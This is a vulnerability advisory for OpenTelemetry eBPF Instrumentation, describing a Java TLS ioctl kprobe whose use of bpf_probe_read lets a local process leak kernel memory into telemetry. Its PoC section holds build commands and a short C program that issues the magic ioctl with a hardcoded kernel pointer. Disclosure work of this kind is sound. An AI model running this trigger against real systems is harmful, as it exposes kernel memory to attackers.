OpenTelemetry eBPF Instrumentation: Java TLS ioctl kprobe allows kernel memory disclosure

Summary

The Java TLS ioctl probe reads user-controlled ioctl pointers with bpf_probe_read instead of bpf_probe_read_user. An instrumented local process can therefore point OBI at kernel memory and cause that memory to be copied into telemetry.

Details

The vulnerable path is in bpf/generictracer/java_tls.c. The kprobe hooks do_vfs_ioctl, filters on fd == 0 and the Java TLS magic command, and then treats the third ioctl argument as a structured buffer. It reads fields from that pointer using bpf_probe_read, including:

• the operation byte from arg
• connection metadata from arg + 1
• the payload length from arg + 1 + sizeof(connection_info_t)

If len > 0, it computes buf = arg + 1 + sizeof(connection_info_t) + sizeof(u32) and passes that pointer into `handle_buf_with_connection`.

The next stage, bpf/generictracer/k_tracer_defs.h, uses `bpf_probe_read(args->small_buf, MIN_HTTP2_SIZE, (void *)args->u_buf);` on the supplied pointer and tail-calls deeper protocol logic. The HTTP protocol path then reads from u_buf and emits the bytes through bpf_ringbuf_output in bpf/generictracer/protocol_http.h.

Because the ioctl pointer originates in user space, the probe should be using bpf_probe_read_user with strict length validation. Using bpf_probe_read instead makes it possible for an instrumented process to supply a kernel pointer and exfiltrate kernel-resident bytes into telemetry.

PoC

A complete lab reproduction requires:

1. a vulnerable build of OBI with Java TLS instrumentation enabled
2. a host capable of loading the BPF program
3. a local process that issues the Java TLS magic ioctl with an attacker-controlled pointer

Suggested reproduction steps:

git checkout v0.0.0-rc.1+build
make build
sudo ./bin/obi

Then run a local helper that issues the matching ioctl command against fd=0 and supplies a crafted pointer.

// save as /tmp/ioctl_kernel_ptr.c
#include <stdio.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define JAVA_TLS_MAGIC 0x0b10b1

int main(void) {
  void *ptr = (void *)0xffff888000000000ULL;
  long rc = ioctl(0, JAVA_TLS_MAGIC, ptr);
  printf("ioctl rc=%ld\n", rc);
  return 0;
}

Compile and run:

cc -O2 -o /tmp/ioctl_kernel_ptr /tmp/ioctl_kernel_ptr.c
/tmp/ioctl_kernel_ptr

On a vulnerable system, if the supplied pointer references readable kernel memory and the bytes satisfy the expected Java TLS structure enough to pass the early checks, OBI can read from that address and emit the resulting bytes into telemetry. The remaining local prerequisite is a host session with sufficient BPF capability to load and inspect the probe; the compile side of the reproduction is already satisfied here.

Impact

This is a local kernel memory disclosure primitive reachable from unprivileged instrumented processes. It affects deployments that enable Java TLS support. Successful exploitation can expose kernel memory contents to the privileged OBI agent and then to downstream telemetry systems.